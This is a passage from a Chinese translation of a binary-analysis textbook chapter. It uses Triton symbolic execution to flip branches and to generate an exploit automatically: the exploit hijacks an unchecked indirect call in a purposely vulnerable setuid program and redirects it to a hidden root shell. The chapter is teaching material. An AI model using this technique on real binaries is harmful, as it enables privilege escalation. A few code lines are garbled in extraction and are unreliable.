如您所见,branch程序包含一个名为branch的函数,该函数接受两个整数xy作为输入。branch函数包含一个外部的if/else分支,根据x的值 ➊ 进行判断,还有一个嵌套的if/else分支,根据y的值 ➋ 进行判断。该函数由main调用,xy参数来自用户输入 ➌。

让我们首先使用x = 0y = 0运行branch,以便外部分支走if方向,而嵌套分支走else方向。然后,您可以使用code_coverage查找输入,以翻转嵌套分支,使其走if方向。但首先,让我们构建运行code_coverage所需的符号配置文件。

构建符号配置文件

要使用code_coverage,你需要一个符号配置文件,而要制作该文件,你需要知道编译后的branch函数使用了哪些寄存器和内存位置。列表 13-9 展示了branch函数的反汇编代码。让我们分析一下它,找出branch函数使用的寄存器和内存位置。

列表 13-9: 来自~/code/chapter13/branch 的反汇编片段

   $ objdump -M intel -d ./branch
   ...
   00000000004005b6 <branch>:
     4005b6:  55               push   rbp
     4005b7:  48 89 e5         mov    rbp,rsp
     4005ba:  48 83 ec 10      sub    rsp,0x10
➊   4005be:  89 7d fc         mov    DWORD PTR [rbp-0x4],edi
➋   4005c1:  89 75 f8         mov    DWORD PTR [rbp-0x8],esi
➌   4005c4:  83 7d fc 04      cmp    DWORD PTR [rbp-0x4],0x4
➍   4005c8:  7f 1e            jg     4005e8 <branch+0x32>
➎   4005ca:  83 7d f8 0a      cmp    DWORD PTR [rbp-0x8],0xa
➏   4005ce:  75 0c            jne    4005dc <branch+0x26>
     4005d0:  bf 04 07 40 00   mov    edi,0x400704
     4005d5:  e8 96 fe ff ff   call   400470 <puts@plt>
     4005da:  eb 16            jmp    4005f2 <branch+0x3c>
     4005dc:  bf 15 07 40 00   mov    edi,0x400715
     4005e1:  e8 8a fe ff ff   call   400470 <puts@plt>
     4005e6:  eb 0a            jmp    4005f2 <branch+0x3c>
     4005e8:  bf 26 07 40 00   mov    edi,0x400726
     4005ed:  e8 7e fe ff ff   call   400470 <puts@plt>
     4005f2:  c9               leave
     4005f3:  c3               ret
   ...

虚拟机上的 Ubuntu 安装使用的是 x64 版本的 System V 应用二进制接口(ABI),它规定了系统使用的调用约定。在 x64 系统的 System V 调用约定中,函数调用的第一个和第二个参数分别存储在rdirsi寄存器中。^(6) 在这种情况下,这意味着你可以在rdi中找到branch函数的x参数,在rsi中找到y参数。在内部,branch函数立即将x值移到内存位置rbp-0x4➊,将y值移到rbp-0x8➋。然后,branch将包含x的第一个内存位置与值 4 进行比较➌,接着在地址0x4005c8处进行jg跳转,实施外部if/else分支➍。

jg的目标地址0x4005e8包含else分支(x5),而跳转地址0x4005ca包含if分支。在if分支内部是嵌套的if/else分支,它通过cmp指令比较y的值与 10(0xa)➎,接着是一个jne指令,如果y ≠ 10,则跳转到0x4005dc➏(即嵌套的else分支),否则跳转到0x4005d0(即嵌套的if分支)。

现在你已经知道了哪些寄存器包含xy的输入,以及嵌套分支的地址0x4005ce,接下来我们来创建符号配置文件。列表 13-10 展示了用于测试的配置文件。

列表 13-10: branch.map

➊ %rdi=$
  %rdi=0
➋ %rsi=$
  %rsi=0

配置文件将rdi(代表x)设为符号,并为其分配具体值 0➊。它对rsi(包含y)也做了同样的处理➋。由于xy都是符号,当你为新输入生成模型时,约束求解器将为xy提供具体的值。

生成新输入

回想一下,符号配置文件将xy的值都赋为 0,这为code_coverage生成覆盖不同路径的新输入提供了基准。当你使用这些基准输入运行branch程序时,它会打印消息x < 5 && y != 10,如下所示:

$ ./branch 0 0
x < 5 && y != 10

现在我们使用code_coverage生成新的输入,改变检查y值的嵌套branch,这样你就可以使用这些新输入重新运行branch,并得到输出x < 5 && y == 10。列表 13-11 展示了如何操作。

列表 13-11:查找输入以选择备用分支,位于 0x4005ce

➊ $ ./code_coverage branch branch.map 0x4005b6 0x4005ce
   evaluating branch 0x4005ce:
➋      0x4005ce -> 0x4005dc (taken)
➌      0x4005ce -> 0x4005d0 (not taken)
➍      computing new input for 0x4005ce -> 0x4005d0
➎        SymVar 0 (rdi) = 0x0
          SymVar 1 (rsi) = 0xa

你调用code_coverage,将branch程序作为输入,以及你制作的符号配置文件(branch.map),branch函数的起始地址0x4005b6(分析的入口点),以及嵌套分支的地址0x4005ce来触发翻转 ➊。

当仿真程序到达该分支地址时,code_coverage会评估并打印 Triton 作为该分支的PathConstraint生成的每个分支约束。第一个约束是针对目标地址0x4005dc(嵌套的else分支)方向的,该方向在仿真过程中由于你在配置文件中指定的具体输入值而被选中 ➋。正如code_coverage所报告的,指向目标地址0x4005d0(嵌套的if分支)的顺序分支方向没有被选中 ➌,因此code_coverage尝试计算新的输入值,以便引导到该分支方向 ➍。

虽然通常需要的约束求解可能会花费一些时间,但对于像这种简单的约束,它应该只需要几秒钟就能完成。一旦求解器找到模型,code_coverage会将其打印到屏幕上 ➎。正如你所看到的,模型为rdix)赋值为具体值 0,rsiy)赋值为0xa

让我们使用这些新输入运行branch程序,看看它们是否会导致嵌套分支翻转。

$ ./branch 0 0xa
x < 5 && y == 10

使用这些新输入,branch输出了x < 5 && y == 10,而不是你在之前运行branch程序时得到的消息x < 5 && y != 10code_coverage生成的输入成功翻转了嵌套分支的方向!

13.5 自动利用漏洞

现在让我们来看一个比之前例子更复杂的约束求解示例。在本节中,你将学习如何使用 Triton 自动生成输入,通过劫持间接调用点并将其重定向到你选择的地址,从而利用程序中的漏洞。

假设你已经知道存在一个漏洞,允许你控制调用点的目标地址,但你还不知道如何利用它来达到你想要的地址,因为目标地址是通过用户输入以非平凡的方式计算出来的。这种情况在实际的模糊测试中可能会遇到,例如。

正如你在第十二章中学到的那样,符号执行对于暴力破解的模糊测试方法来说计算开销太大,因为它试图为程序中的每一个间接调用点找到漏洞。相反,你可以通过首先以更传统的方式进行模糊测试,向程序提供许多伪随机生成的输入,并使用污点分析来确定这些输入是否影响了程序的危险状态,例如间接调用点。然后,你可以使用符号执行仅为那些污点分析已显示为可能可控的调用点生成漏洞。这是我在下面示例中假设的使用案例。

13.5.1 易受攻击的程序

首先,让我们来看一下要利用的程序及其包含的易受攻击的调用点。清单 13-12 展示了易受攻击程序的源文件icall.cMakefile将程序编译成一个名为icallsetuid root二进制文件^(7),其中包含一个间接调用点,该调用点会调用多个处理函数中的一个。这类似于像nginx这样的 Web 服务器如何使用函数指针来选择适当的处理程序来处理它们接收到的数据。

清单 13-12: icall.c

   #include <stdio.h>
   #include <stdlib.h>
   #include <string.h>
   #include <unistd.h>
   #include <crypt.h>

   void forward (char *hash);
   void reverse (char *hash);
   void hash    (char *src, char *dst);

➊ static struct {
     void (*functions[2])(char *);
     char hash[5];
   } icall;

   int
   main(int argc, char *argv[])
   {
     unsigned i;

➋   icall.functions[0] = forward;
     icall.functions[1] = reverse;

     if(argc < 3) {
       printf("Usage: %s <index> <string>\n", argv[0]);
       return 1;
     }

➌    if(argc > 3 && !strcmp(crypt(argv[3], "$1$foobar"), "$1$foobar$Zd2XnPvN/dJVOseI5/5Cy1")) {
        /* secret admin area */
        if(setgid(getegid())) perror("setgid");
        if(setuid(geteuid())) perror("setuid");
        execl("/bin/sh", "/bin/sh", (char*)NULL);
➍    } else {
➎      hash(argv[2], icall.hash);
➏      i = strtoul(argv[1], NULL, 0);

        printf("Calling %p\n", (void*)icall.functions[i]);
➐      icall.functionsi;
     }

     return 0;
   }

   void
   forward(char *hash)
   {
     int i;

     printf("forward: ");
     for(i = 0; i < 4; i++) {
       printf("%02x", hash[i]);
    }
    printf("\n");
   }

   void
   reverse(char *hash)
   {
     int i;

     printf("reverse: ");
     for(i = 3; i >= 0; i--) {
       printf("%02x", hash[i]);
     }
     printf("\n");
   }

   void
   hash(char *src, char *dst)
   {
     int i, j;

     for(i = 0; i < 4; i++) {
       dst[i] = 31 + (char)i;
       for(j = i; j < strlen(src); j += 4) {
         dst[i] ˆ= src[j] + (char)j;
         if(i > 1) dst[i] ˆ= dst[i-2];
       }
     }
     dst[4] = '\0';
   }

icall程序围绕一个全局的struct展开,这个struct也叫icall ➊。这个struct包含一个名为icall.functions的数组,能够容纳两个函数指针,还有一个名为icall.hashchar数组,存储一个带有终止NULL字符的 4 字节哈希值。main函数初始化了icall.functions中的第一个条目,使其指向一个名为forward的函数,并初始化第二个条目,使其指向reverse ➋。这两个函数都接受一个以char*形式传递的哈希参数,并分别按正向或反向顺序打印哈希的字节。

icall程序接受两个命令行参数:一个整数索引和一个字符串。索引决定了将调用icall.functions中的哪一项,而字符串则作为输入来生成哈希值,正如你接下来会看到的。

还有一个未在使用字符串中显示的秘密第三个命令行参数。这个参数是一个管理员区域的密码,提供 root shell。为了检查密码,icall使用 GNU crypt函数(来自crypt.h)对其进行哈希处理,如果哈希值正确,用户将被授予访问 root shell 的权限 ➌。我们利用漏洞的目标是劫持一个间接调用点,并将其重定向到这个秘密的管理员区域,而无需知道密码。

如果没有提供秘密密码 ➍,icall会调用一个名为hash的函数,它对用户提供的字符串计算一个 4 字节的哈希,并将该哈希存放在icall.hash中 ➎。计算哈希后,icall解析命令行中的索引 ➏,并用它来索引icall.functions数组,间接调用该索引处的处理程序,并将刚刚计算出的哈希作为参数传递 ➐。这个间接调用将是我在利用程序中使用的调用。为了进行诊断,icall会打印它即将调用的函数的地址,这在后续构建漏洞利用程序时将非常有用。

通常,间接调用会调用forwardreverse,然后按如下方式将哈希值打印到屏幕上:

➊ $ ./icall 1 foo
➋ Calling 0x400974
➌ reverse: 22295079

在这里,我使用了1作为函数索引,导致调用reverse函数,并将foo作为输入字符串 ➊。你可以看到,间接调用的目标地址是0x400974reverse的起始地址) ➋,而foo的哈希值,反向打印后为0x22295079 ➌。

你可能已经注意到,间接调用是有漏洞的:没有验证用户提供的索引是否在icall.functions的范围内,因此通过提供超出范围的索引,用户可以诱使icall程序使用超出icall.functions数组的数据作为间接调用目标!实际上,icall.hash字段在内存中紧挨着icall.functions,所以通过提供超出范围的索引 2,用户可以诱使icall程序将icall.hash作为间接调用目标,正如你在以下清单中看到的那样:

   $ ./icall 2 foo
➊ Calling 0x22295079
➋ Segmentation fault (core dumped)

请注意,被调用的地址对应的是作为小端地址解释的哈希值 ➊!该地址没有代码,因此程序会因段错误而崩溃 ➋。然而,回想一下,用户不仅控制索引,还控制作为哈希输入的字符串。挑战在于找到一个字符串,它的哈希值恰好对应秘密管理员区域的地址,然后诱使间接调用使用该哈希作为调用目标,从而将控制权转移到管理员区域,并在不需要知道密码的情况下获取 root shell。

要手动构造此漏洞的利用程序,你需要使用暴力破解或者反向工程hash函数,找出哪个输入字符串可以生成所需的哈希值。使用 symbex 来生成漏洞利用程序的好处是,它会自动解决hash函数,让你可以将其视为一个黑箱!

13.5.2 查找漏洞调用站点的地址

自动构建漏洞利用程序需要两个关键信息:漏洞的间接调用站点的地址,以及要重定向控制的秘密管理员区域的地址。清单 13-13 显示了icall二进制文件中main函数的反汇编,其中包含了这两个地址。

清单 13-13:来自 ~/code/chapter13/icall 的反汇编摘录

   0000000000400abe <main>:
     400abe:  55                    push   rbp
     400abf:  48 89 e5              mov    rbp,rsp
     400ac2:  48 83 ec 20           sub    rsp,0x20
     400ac6:  89 7d ec              mov    DWORD PTR [rbp-0x14],edi
     400ac9:  48 89 75 e0           mov    QWORD PTR [rbp-0x20],rsi
     400acd:  48 c7 05 c8 15 20 00  mov    QWORD PTR [rip+0x2015c8],0x400916
     400ad4:  16 09 40 00
     400ad8:  48 c7 05 c5 15 20 00  mov    QWORD PTR [rip+0x2015c5],0x400974
     400adf:  74 09 40 00
     400ae3:  83 7d ec 02           cmp    DWORD PTR [rbp-0x14],0x2
     400ae7:  7f 23                 jg     400b0c <main+0x4e>
     400ae9:  48 8b 45 e0           mov    rax,QWORD PTR [rbp-0x20]
     400aed:  48 8b 00              mov    rax,QWORD PTR [rax]
     400af0:  48 89 c6              mov    rsi,rax
     400af3:  bf a1 0c 40 00        mov    edi,0x400ca1
     400af8:  b8 00 00 00 00        mov    eax,0x0
     400afd:  e8 5e fc ff ff        call   400760 <printf@plt>
     400b02:  b8 01 00 00 00        mov    eax,0x1
     400b07:  e9 ea 00 00 00        jmp    400bf6 <main+0x138>
     400b0c:  83 7d ec 03           cmp    DWORD PTR [rbp-0x14],0x3
     400b10:  7e 78                 jle    400b8a <main+0xcc>
     400b12:  48 8b 45 e0           mov    rax,QWORD PTR [rbp-0x20]
     400b16:  48 83 c0 18           add    rax,0x18
     400b1a:  48 8b 00              mov    rax,QWORD PTR [rax]
     400b1d:  be bd 0c 40 00        mov    esi,0x400cbd
     400b22:  48 89 c7              mov    rdi,rax
     400b25:  e8 56 fc ff ff        call   400780 <crypt@plt>
     400b2a:  be c8 0c 40 00        mov    esi,0x400cc8
     400b2f:  48 89 c7              mov    rdi,rax
     400b32:  e8 69 fc ff ff        call   4007a0 <strcmp@plt>
     400b37:  85 c0                 test   eax,eax
     400b39:  75 4f                 jne    400b8a <main+0xcc>
➊   400b3b:  e8 70 fc ff ff        call   4007b0 <getegid@plt>
     400b40:  89 c7                 mov    edi,eax
➋   400b42:  e8 79 fc ff ff        call   4007c0 <setgid@plt>
     400b47:  85 c0                 test   eax,eax
     400b49:  74 0a                 je     400b55 <main+0x97>
     400b4b:  bf e9 0c 40 00        mov    edi,0x400ce9
     400b50:  e8 7b fc ff ff        call   4007d0 <perror@plt>
     400b55:  e8 16 fc ff ff        call   400770 <geteuid@plt>
     400b5a:  89 c7                 mov    edi,eax
➌   400b5c:  e8 8f fc ff ff        call   4007f0 <setuid@plt>
     400b61:  85 c0                 test   eax,eax
     400b63:  74 0a                 je     400b6f <main+0xb1>
     400b65:  bf f0 0c 40 00        mov    edi,0x400cf0
     400b6a:  e8 61 fc ff ff        call   4007d0 <perror@plt>
     400b6f:  ba 00 00 00 00        mov    edx,0x0
     400b74:  be f7 0c 40 00        mov    esi,0x400cf7
     400b79:  bf f7 0c 40 00        mov    edi,0x400cf7
     400b7e:  b8 00 00 00 00        mov    eax,0x0
➍   400b83:  e8 78 fc ff ff        call   400800 <execl@plt>
     400b88:  eb 67                 jmp    400bf1 <main+0x133>
     400b8a:  48 8b 45 e0           mov    rax,QWORD PTR [rbp-0x20]
     400b8e:  48 83 c0 10           add    rax,0x10
     400b92:  48 8b 00              mov    rax,QWORD PTR [rax]
     400b95:  be b0 20 60 00        mov    esi,0x6020b0
     400b9a:  48 89 c7              mov    rdi,rax
     400b9d:  e8 30 fe ff ff        call   4009d2 <hash>
     400ba2:  48 8b 45 e0           mov    rax,QWORD PTR [rbp-0x20]
     400ba6:  48 83 c0 08           add    rax,0x8
     400baa:  48 8b 00              mov    rax,QWORD PTR [rax]
     400bad:  ba 00 00 00 00        mov    edx,0x0
     400bb2:  be 00 00 00 00        mov    esi,0x0
     400bb7:  48 89 c7              mov    rdi,rax
     400bba:  e8 21 fc ff ff        call   4007e0 <strtoul@plt>
     400bbf:  89 45 fc              mov    DWORD PTR [rbp-0x4],eax
     400bc2:  8b 45 fc              mov    eax,DWORD PTR [rbp-0x4]
     400bc5:  48 8b 04 c5 a0 20 60  mov    rax,QWORD PTR [rax*8+0x6020a0]
     400bcc:  00      
     400bcd:  48 89 c6              mov    rsi,rax
     400bd0:  bf ff 0c 40 00        mov    edi,0x400cff
     400bd5:  b8 00 00 00 00        mov    eax,0x0
     400bda:  e8 81 fb ff ff        call   400760 <printf@plt>
     400bdf:  8b 45 fc              mov    eax,DWORD PTR [rbp-0x4]
     400be2:  48 8b 04 c5 a0 20 60  mov    rax,QWORD PTR [rax*8+0x6020a0]
     400be9:  00
     400bea:  bf b0 20 60 00        mov    edi,0x6020b0
➎   400bef: ff d0                  call   rax
     400bf1:  b8 00 00 00 00        mov    eax,0x0
     400bf6:  c9                    leave
     400bf7:  c3                    ret
     400bf8:  0f 1f 84 00 00 00 00  nop    DWORD PTR [rax+rax*1+0x0]
     400bff:  00

秘密管理员区域的代码从地址 0x400b3b ➊ 开始,所以你要将控制流重定向到这个地址。你可以通过对 setgid ➋ 和 setuid ➌ 的调用来判断这是管理员区域,其中 icall 为 shell 准备 root 权限,接着通过对 execl ➍ 的调用来生成 shell 本身。需要劫持的间接调用位置位于地址 0x400bef ➎。

现在你已经有了必要的地址,接下来让我们构建符号执行工具来生成漏洞利用。

13.5.3 构建漏洞利用生成器

简单来说,生成漏洞利用的工具通过并行符号执行 icall 程序,符号化用户给定的所有命令行参数,每个输入字节对应一个独立的符号变量。然后它会追踪这个符号状态,从程序开始一直追踪到 hash 函数,直到执行最终到达间接调用位置进行利用。此时,漏洞利用生成器会调用约束求解器,询问是否存在某种将符号变量赋值为具体值的方式,使得间接调用目标(存储在 rax 中)等于秘密管理员区域的地址。如果这样的模型存在,漏洞利用生成器会将其打印到屏幕上,然后你就可以使用这些值作为输入来利用 icall 程序。

注意,与之前的示例不同,这个示例使用的是 Triton 的并行符号执行模式(concolic mode),而不是符号仿真模式(symbolic emulation mode)。原因是生成漏洞利用需要追踪符号状态,通过整个程序跨多个函数进行追踪,而在仿真模式下这样做既不方便又很慢。此外,并行符号执行模式使得试验不同输入字符串长度变得更加容易。

与本书中的大多数示例不同,这个示例使用的是 Python 编写的,因为 Triton 的并行符号执行模式仅允许使用 Python API。并行符号执行 Triton 工具是 Python 脚本,你需要将其传递给一个特殊的 Pin 工具,该工具提供 Triton 的并行符号引擎。Triton 提供了一个名为 triton 的包装脚本,它会自动处理调用 Pin 的所有细节,所有你需要做的就是指定使用哪个 Triton 工具和分析哪个程序。你可以在 ~/triton/pin-2.14-71313-gcc.4.4.7-linux/ source/tools/Triton/build 找到 triton 包装脚本,并且在测试自动漏洞利用生成工具时会看到如何使用它的示例。

设置并行符号执行

Listing 13-14 显示了漏洞利用生成工具的第一部分,exploit_callsite.py

Listing 13-14: exploit_callsite.py

   #!/usr/bin/env python2
   ## -*- coding: utf-8 -*-

➊ import triton
   import pintool

➋ taintedCallsite = 0x400bef # Found in a previous DTA pass
   target          = 0x400b3b # Target to redirect callsite to

➌ Triton = pintool.getTritonContext()

   def main():
➍     Triton.setArchitecture(triton.ARCH.X86_64)
       Triton.enableMode(triton.MODE.ALIGNED_MEMORY, True)

➎     pintool.startAnalysisFromSymbol('main')

➏     pintool.insertCall(symbolize_inputs, pintool.INSERT_POINT.ROUTINE_ENTRY, 'main')
➐     pintool.insertCall(hook_icall, pintool.INSERT_POINT.BEFORE)

➑     pintool.runProgram()

   if __name__ == '__main__':
       main()

类似于 exploit_callsite.py 的符号执行 Triton 工具必须导入 tritonpintool 模块 ➊,这两个模块分别提供了对熟悉的 Triton API 和 Triton 与 Pin 交互的绑定的访问。遗憾的是,无法将命令行参数传递给符号执行 Triton 工具,因此我将你正在利用的间接调用站点(taintedCallsite)的地址和你想要重定向控制的秘密管理员区域(target)的地址 ➋ 硬编码在了代码中。taintedCallsite 变量的命名来源于假设你在之前的污点分析中找到了这个调用站点。作为硬编码参数的替代方法,你也可以通过环境变量传递参数。

符号执行 Triton 工具在一个全局的 Triton 上下文中维护符号执行状态,你可以通过调用 pintool.getTritonContext() ➌ 来访问该上下文。这将返回一个 TritonContext 对象,你可以使用它来访问(部分)熟悉的 Triton API 函数。在这里,exploit_callsite.py 将对该 TritonContext 的引用存储在一个名为 Triton 的全局变量中,以便于访问。

exploit_callsite.py 的主要逻辑从一个名为 main 的函数开始,该函数在脚本启动时被调用。就像你之前看到的 C++ 符号仿真工具一样,它首先通过设置 Triton 架构并启用 ALIGNED_MEMORY 优化 ➍ 来启动。由于该工具是专门针对你正在利用的 icall 二进制文件定制的,我将架构硬编码为 x86-64,而没有使其可配置。

接下来,exploit_callsite.py 使用 Triton 的 pintool API 设置符号执行分析的起点。它告诉 Triton 从脆弱的 icall 程序中的 main 函数开始符号分析 ➎。也就是说,所有在 main 之前的 icall 初始化代码都不进行符号分析,Triton 的分析将在执行到 main 时启动。

请注意,这假设符号是可用的;如果符号不可用,那么 Triton 就不知道 main 函数在哪里。在这种情况下,你必须通过反汇编自行找到 main 的地址,并告诉 Triton 从该地址开始分析,方法是调用 pintool.startAnalysisFromAddress 而不是 pintool.startAnalysisFromSymbol

配置完分析起始点后,exploit_callsite.py 使用 Triton 的 pintool.insertCall 函数注册了两个回调。pintool.insertCall 函数至少需要两个参数:一个回调函数和一个 插入点,之后可以根据插入点的类型传递零个或多个可选参数。

第一个安装的回调函数名为 symbolize_inputs,它使用插入点 INSERT_POINT.ROUTINE_ENTRY ➏,意味着回调会在执行到指定例程的入口点时触发。你可以通过额外的参数在 insertCall 中指定该例程的名称。在 symbolize_inputs 的情况下,我指定了 main 作为安装回调的例程,因为 symbolize_inputs 的目的是符号化传递给 icallmain 函数的所有用户输入。当发生 ROUTINE_ENTRY 类型的回调时,Triton 会将当前线程的 ID 作为参数传递给回调函数。

第二个回调函数名为 hook_icall,它安装在插入点 INSERT_POINT.BEFORE ➐,意味着回调函数会在每条指令执行前触发。hook_icall 的任务是检查执行是否已经到达易受攻击的间接调用位置,如果是,根据符号分析的结果生成相应的利用代码。当回调函数触发时,Triton 会向 hook_icall 提供一个 Instruction 参数,表示即将执行的指令的详细信息,这样 hook_icall 就可以检查它是否为你想要利用的间接调用指令。表 13-1 展示了 Triton 支持的所有可能插入点的概览。

表 13-1: Triton 符号执行模式下回调的插入点

插入点 回调时刻 参数 回调参数
AFTER 指令执行之后 Instruction 对象
BEFORE 指令执行之前 Instruction 对象
BEFORE_SYMPROC 符号处理之前 Instruction 对象
FINI 执行结束
ROUTINE_ENTRY 程序例程入口 例程名称 线程 ID
ROUTINE_EXIT 程序例程退出 例程名称 线程 ID
IMAGE_LOAD 新镜像加载 镜像路径,基地址,大小
SIGNALS 信号传递 线程 ID,信号 ID
SYSCALL_ENTRY 系统调用前 线程 ID,系统调用描述符
SYSCALL_EXIT 系统调用后 线程 ID,系统调用描述符

最后,在完成必要的设置之后,exploit_callsite.py 调用 pintool.runProgram 来开始执行分析过的程序 ➑。这完成了对 icall 程序进行符号执行分析所需的所有设置,但我还没有讨论生成实际利用代码的部分。现在让我们来讨论回调处理函数 symbolize_inputshook_icall,它们分别实现了用户输入的符号化和调用点的利用。

符号化用户输入

清单 13-15 展示了symbolize_inputs的实现,这是当程序执行到分析的main函数时调用的处理程序。根据表 13-1,symbolize_inputs接收一个线程 ID 参数,因为它是ROUTINE_ENTRY插入点的回调函数。为了本示例的目的,你无需了解线程 ID,可以直接忽略它。如前所述,symbolize_inputs会将用户提供的所有命令行参数符号化,以便求解器稍后可以计算如何操作这些符号变量来构造一个漏洞利用。

清单 13-15: exploit_callsite.py (续)

   def symbolize_inputs(tid):
➊     rdi = pintool.getCurrentRegisterValue(Triton.registers.rdi) # argc
       rsi = pintool.getCurrentRegisterValue(Triton.registers.rsi) # argv

       # for each string in argv
➋     while rdi > 1:
➌         addr = pintool.getCurrentMemoryValue(
           rsi + ((rdi-1)*triton.CPUSIZE.QWORD),
 triton.CPUSIZE.QWORD)
       # symbolize current argument string (including terminating NULL)
       c = None
       s = ''
➍     while c != 0:
➎         c = pintool.getCurrentMemoryValue(addr)
           s += chr(c)
➏         Triton.setConcreteMemoryValue(addr, c)
➐         Triton.convertMemoryToSymbolicVariable(
                   triton.MemoryAccess(addr, triton.CPUSIZE.BYTE)
               ).setComment('argv[%d][%d]' % (rdi-1, len(s)-1))
           addr += 1
       rdi -= 1
       print 'Symbolized argument %d: %s' % (rdi, s)

为了符号化用户输入,symbolize_inputs需要访问被分析程序的参数计数(argc)和参数向量(argv)。由于symbolize_inputsmain函数开始时被调用,因此可以通过读取rdirsi寄存器来获取argcargv,根据 x86-64 System V ABI 规范,这两个寄存器分别包含main的前两个参数 ➊。要读取寄存器当前的值,可以使用pintool.getCurrentRegisterValue函数,并将寄存器的 ID 作为输入。

在获得argcargv后,symbolize_inputs通过递减rdiargc)来循环处理所有参数,直到没有剩余的参数 ➋。回想一下,在 C/C++程序中,argv是一个指向字符串的指针数组。为了从argv中获取指针,symbolize_inputs使用 Triton 的pintool.getCurrentMemoryValue函数,读取 8 字节(triton.CPUSIZE.QWORD)数据,当前由rdi索引的argv条目,函数接收地址和大小作为输入 ➌,并将读取到的指针存储在addr中。

接下来,symbolize_inputs会逐个读取addr所指向的字符串中的所有字符,递增addr,直到读取到NULL字符 ➍。为了读取每个字符,它再次使用getCurrentMemoryValue ➎,这次没有指定大小参数,因此它会读取默认大小为 1 字节的数据。在读取字符后,symbolize_inputs将该字符设置为该内存地址的具体值,并将该内存地址中的用户输入字节转换为符号变量 ➐,并在该符号变量上设置注释,提醒你它对应于哪个argv索引。再次提醒,这部分内容应该在你之前看到的 C++示例中就已经熟悉了。

symbolize_inputs完成后,所有用户提供的命令行参数将被转换为单独的符号变量(每个输入字节对应一个符号变量),并在 Triton 的全局上下文中设置为具体状态。现在,让我们看看exploit_callsite.py是如何使用求解器来解这些符号变量,并找到针对漏洞调用点的漏洞利用的。

破解漏洞

清单 13-16 展示了hook_icall,它是在每条指令执行前调用的回调函数。

清单 13-16: exploit_callsite.py (续)

   def hook_icall(insn):
➊     if insn.isControlFlow() and insn.getAddress() == taintedCallsite:
➋         for op in insn.getOperands():
➌             if op.getType() == triton.OPERAND.REG:
                  print 'Found tainted indirect call site \'%s\'' % (insn)
➍                exploit_icall(insn, op)

对于每条指令,hook_icall会检查它是否是你想要利用的间接调用。它首先验证这是否是一个控制流指令 ➊,并且它包含你想要利用的调用点地址。接着,它会遍历该指令的所有操作数 ➋,找到包含调用点目标地址的寄存器操作数 ➌。最后,如果所有这些检查都通过,hook_icall会调用exploit_icall函数来计算实际的利用代码 ➍。示例 13-17 展示了exploit_icall的实现。

示例 13-17: exploit_callsite.py (续)

   def exploit_icall(insn, op):
➊      regId   = Triton.getSymbolicRegisterId(op)
➋      regExpr = Triton.unrollAst(Triton.getAstFromId(regId))
➌      ast = Triton.getAstContext()

➍      exploitExpr = ast.equal(regExpr, ast.bv(target, triton.CPUSIZE.QWORD_BIT))
➎      for k, v in Triton.getSymbolicVariables().iteritems():
➏          if 'argv' in v.getComment():
               # Argument characters must be printable
➐             argExpr = Triton.getAstFromId(k)
➑             argExpr = ast.land([
                             ast.bvuge(argExpr, ast.bv(32, triton.CPUSIZE.BYTE_BIT)),
                             ast.bvule(argExpr, ast.bv(126, triton.CPUSIZE.BYTE_BIT))
                        ])
➒             exploitExpr = ast.land([exploitExpr, argExpr])

       print 'Getting model for %s -> 0x%x' % (insn, target)
➓     model = Triton.getModel(exploitExpr)
      for k, v in model.iteritems():
          print '%s (%s)' % (v, Triton.getSymbolicVariableFromId(k).getComment())

为了计算漏洞调用点的利用方式,exploit_icall首先获取包含间接调用目标地址的寄存器操作数的寄存器 ID ➊。接着,它调用Triton.getAstFromId来获取包含该寄存器符号表达式的 AST,并调用Triton.unrollAst将其“展开”为一个没有引用节点的完全展开的 AST ➋。

接下来,exploit_icall获取一个 Triton AstContext,它用来为求解器构建 AST 表达式 ➌,就像你在第 13.4 节的代码覆盖工具中看到的那样。要满足的利用的基本约束很简单:你想找到一个解,使得间接调用目标寄存器的符号表达式等于存储在全局target变量中的秘密管理员区域的地址 ➍。

请注意,常量triton.CPUSIZE.QWORD_BIT表示机器四字(8 字节)大小的数,与triton.CPUSIZE.QWORD表示的字节数大小相比。也就是说,ast.bv(target, triton.CPUSIZE.QWORD_BIT)构建了一个包含秘密管理员区域地址的 64 位位向量。

除了目标寄存器表达式的基本约束外,利用还需要对用户输入的形式施加一些约束。为了强加这些约束,exploit_icall会遍历所有符号变量 ➎,检查它们的注释,查看它们是否表示来自argv的用户输入字节 ➏。如果是,exploit_icall会获取符号变量的 AST 表达式 ➐,并将其约束为该字节必须是可打印的 ASCII 字符 ➑(≥32 和≥126)。然后,它会将这个约束追加到利用的约束列表中 ➒。

最后,exploit_icall调用Triton.getModel来计算它刚刚构建的约束集的利用模型 ➓,如果存在这样的模型,它会将模型打印到屏幕上,用户可以使用该模型来利用icall程序。在模型中的每个变量,输出会显示其 Triton ID 以及它的可读注释,说明该符号变量对应哪个argv字节。这样,用户就可以轻松地将模型映射回具体的命令行参数。我们通过为icall程序生成一个利用代码并使用它获取 root shell 来试试这个。

13.5.4 获取 Root Shell

列表 13-18 显示了如何在实践中使用 exploit_callsite.pyicall 程序生成利用方法。

列表 13-18:尝试通过输入长度为 3 来为 icall 找到利用方法

➊ $ cd ~/triton/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton/build
➋ $ ./triton ➌~/code/chapter13/exploit_callsite.py \
             ➍~/code/chapter13/icall 2 AAA
➎ Symbolized argument 2: AAA
   Symbolized argument 1: 2
➏ Calling 0x223c625e
➐ Found tainted indirect call site '0x400bef: call rax'
➑ Getting model for 0x400bef: call rax -> 0x400b3b
   # no model found

首先,你需要导航到虚拟机上的 Triton 主目录,在那里你会找到 triton 包装脚本 ➊。回想一下,Triton 提供了这个包装脚本,用于自动处理符号工具所需的 Pin 设置。简而言之,包装脚本使用 Triton 的符号库作为 Pintool,在 Pin 中运行被分析的程序(icall)。该库将你自定义的符号工具 (exploit_callsite.py) 作为参数,并负责启动该工具。

启动分析所需做的就是调用 triton 包装脚本 ➋,并传入 exploit_callsite.py 脚本的名称 ➌,以及要分析的程序的名称和参数(例如 icall,索引为 2,输入字符串为 AAA) ➍。triton 包装脚本现在确保 icall 在给定的参数下运行,并在 exploit_callsite.py 脚本的控制下使用 Pin。请注意,输入字符串 AAA 并不是一个利用方法,而仅仅是一个任意的字符串,用于驱动符号执行。

脚本拦截 icallmain 函数,并将 argv 中的所有用户输入字节进行符号化 ➎。当 icall 到达间接调用点时,它使用地址 0x223c625e 作为目标 ➏,该地址是 AAA 的哈希值。这是一个虚假的地址,通常会导致崩溃,但在这种情况下并不重要,因为 exploit_callsite.py 在间接调用执行之前就已经计算出利用模型。

